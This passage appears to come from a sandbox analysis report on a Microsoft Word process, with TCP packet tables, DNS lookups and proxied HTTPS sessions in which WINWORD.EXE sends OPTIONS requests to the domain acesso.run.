Oct 30, 2024 07:28:54.494128942 CET	443	50105	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.545644999 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.545718908 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.545753956 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.545790911 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.545805931 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.545836926 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.560689926 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.560733080 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.560781002 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.560795069 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.560826063 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.560837984 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.561490059 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.561528921 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.561578989 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.561589956 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.561609983 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.561628103 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.562246084 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.562287092 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.562319994 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.562329054 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.562364101 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.562446117 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.591547966 CET	443	50106	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.591614008 CET	443	50106	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.591660023 CET	50106	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.591846943 CET	50106	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.591866970 CET	443	50106	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.591876984 CET	50106	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.591885090 CET	443	50106	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.604023933 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.604069948 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.604129076 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.604151964 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.604180098 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.604192972 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.633932114 CET	443	50105	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.634001970 CET	443	50105	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.634136915 CET	50105	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.634373903 CET	50105	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.634387016 CET	443	50105	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.634397030 CET	50105	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.634402037 CET	443	50105	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.640347004 CET	443	50107	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.640758991 CET	50107	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.640767097 CET	443	50107	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.641190052 CET	50107	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.641195059 CET	443	50107	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.675571918 CET	443	50108	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.676050901 CET	50108	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.676083088 CET	443	50108	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.676402092 CET	50108	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.676412106 CET	443	50108	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.680166006 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.680227041 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.680259943 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.680285931 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.680303097 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.680331945 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.680421114 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.680470943 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.680505037 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.680510044 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.680543900 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.680555105 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.680582047 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.680624962 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.680651903 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.680658102 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.680685997 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.680704117 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.681341887 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.681380987 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.681416988 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.681422949 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.681453943 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.681468964 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.721749067 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.721806049 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.721853971 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.721865892 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.721906900 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.721925974 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.770953894 CET	443	50107	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.771122932 CET	443	50107	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.771183014 CET	50107	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.771280050 CET	50107	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.771300077 CET	443	50107	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.771311045 CET	50107	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.771320105 CET	443	50107	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.797224045 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.797310114 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.797358036 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.797368050 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.797410965 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.797475100 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.797703981 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.797744989 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.797777891 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.797784090 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.797813892 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.797831059 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.798446894 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.798511982 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.798521996 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.798562050 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.798573017 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.798607111 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.799078941 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.799120903 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.799150944 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.799155951 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.799185991 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.799204111 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.807284117 CET	443	50108	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.807365894 CET	443	50108	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.807427883 CET	50108	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.807643890 CET	50108	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.807643890 CET	50108	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.807668924 CET	443	50108	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.807678938 CET	443	50108	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.839225054 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.839250088 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.839376926 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.839386940 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.839427948 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.914607048 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.914671898 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.914764881 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.914808989 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.914827108 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.914870977 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.914922953 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.914942026 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.914947987 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.914990902 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.915015936 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.915426970 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.915471077 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.915509939 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.915514946 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.915538073 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.915550947 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.915915012 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.915960073 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.915992975 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.915997982 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.916024923 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.916045904 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.956597090 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.956656933 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.956718922 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.956728935 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.956764936 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.956780910 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.031743050 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.031804085 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.031877995 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.031908989 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.031932116 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.031954050 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.031991005 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.032036066 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.032059908 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.032066107 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.032094002 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.032115936 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.032531023 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.032576084 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.032614946 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.032620907 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.032659054 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.032666922 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.033030033 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.033071041 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.033112049 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.033118010 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.033153057 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.033170938 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.033612967 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.033654928 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.033694029 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.033699036 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.033730030 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.033749104 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.133385897 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.133441925 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.133481979 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.133517981 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.133533001 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.133583069 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.149477959 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.149523973 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.149560928 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.149569988 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.149595022 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.149615049 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.149760008 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.149804115 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.149822950 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.149828911 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.149853945 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.149864912 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.149873972 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.150345087 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.150386095 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.150410891 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.150415897 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.150449038 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.150460005 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.150805950 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.150846004 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.150875092 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.150880098 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.150973082 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.191138983 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.191190958 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.191222906 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.191230059 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.191258907 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.191278934 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.252597094 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.252649069 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.252682924 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.252707005 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.252717972 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.252752066 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.272299051 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.272341967 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.272375107 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.272386074 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.272403955 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.272427082 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.272501945 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.272559881 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.272572994 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.272588968 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.272619009 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.272628069 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.272748947 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.272790909 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.272813082 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.272818089 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.272829056 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.272866964 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.272905111 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.272947073 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.272974968 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.272979975 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.273010969 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.273010969 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.308984995 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.309039116 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.309062958 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.309077024 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.309098959 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.309119940 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.309163094 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.309238911 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.309283018 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.309298992 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:55.309309006 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:55.309314013 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:58.970866919 CET	50109	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:58.970909119 CET	443	50109	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:58.971012115 CET	50109	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:58.971190929 CET	50109	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:58.971205950 CET	443	50109	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:59.746658087 CET	443	50109	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:59.747201920 CET	50109	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:59.747251034 CET	443	50109	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:59.748238087 CET	50109	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:59.748245001 CET	443	50109	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:59.883759022 CET	443	50109	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:59.883793116 CET	443	50109	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:59.883883953 CET	50109	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:59.883929968 CET	443	50109	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:59.883953094 CET	443	50109	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:59.884000063 CET	50109	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:59.884298086 CET	50109	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:59.884320974 CET	443	50109	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:59.884331942 CET	50109	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:59.884337902 CET	443	50109	13.107.246.45	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 07:27:16.567013025 CET	55412	53	192.168.2.4	1.1.1.1
Oct 30, 2024 07:27:16.599975109 CET	53	55412	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 30, 2024 07:27:16.567013025 CET	192.168.2.4	1.1.1.1	0x1ca4	Standard query (0)	acesso.run	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 30, 2024 07:27:16.599975109 CET	1.1.1.1	192.168.2.4	0x1ca4	No error (0)	acesso.run		104.21.74.191	A (IP address)	IN (0x0001)	false
Oct 30, 2024 07:27:16.599975109 CET	1.1.1.1	192.168.2.4	0x1ca4	No error (0)	acesso.run		172.67.162.95	A (IP address)	IN (0x0001)	false
Oct 30, 2024 07:27:29.017127037 CET	1.1.1.1	192.168.2.4	0x67b1	No error (0)	templatesmetadata.office.net	templatesmetadata.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 07:28:05.349481106 CET	1.1.1.1	192.168.2.4	0x1dcc	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 07:28:05.349481106 CET	1.1.1.1	192.168.2.4	0x1dcc	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 30, 2024 07:28:52.506405115 CET	1.1.1.1	192.168.2.4	0x12ac	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 07:28:52.506405115 CET	1.1.1.1	192.168.2.4	0x12ac	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

acesso.run

otelrules.azureedge.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	104.21.74.191	443	7404	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:27:17 UTC	323	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive Authorization: Bearer User-Agent: Microsoft Office Word 2014 X-Office-Major-Version: 16 X-MS-CookieUri-Requested: t X-FeatureVersion: 1 Accept-Auth: badger,Wlid1.1,Bearer,Basic,NTLM,Digest,Kerberos,Negotiate,Nego2 X-MSGETWEBURL: t X-IDCRL_ACCEPTED: t Host: acesso.run
2024-10-30 06:27:17 UTC	987	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:27:17 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-DNS-Prefetch-Control: off X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Allow: GET,HEAD cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BZ%2BlasjZgFrZgCt%2BPGNigiIMW%2FfxWv0Wk5ARjL1spBNXZ77hl7u2EW2dIZk9wBfUsHQweF%2BdMmmwuyT2xoqOMU9fjE6RlMBhnVnrhJuXjJBJhF6Bz8yJJhiuErVR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da956b22c646be0-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1240&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2822&recv_bytes=937&delivery_rate=2239752&cwnd=251&unsent_bytes=0&cid=4dc3b5279f06fc78&ts=430&x=0"
2024-10-30 06:27:17 UTC	13	IN	Data Raw: 38 0d 0a 47 45 54 2c 48 45 41 44 0d 0a Data Ascii: 8GET,HEAD
2024-10-30 06:27:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	104.21.74.191	443	7404	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:27:18 UTC	226	OUT	OPTIONS / HTTP/1.1 Authorization: Bearer X-MS-CookieUri-Requested: t X-FeatureVersion: 1 X-IDCRL_ACCEPTED: t User-Agent: Microsoft Office Protocol Discovery Host: acesso.run Content-Length: 0 Connection: Keep-Alive
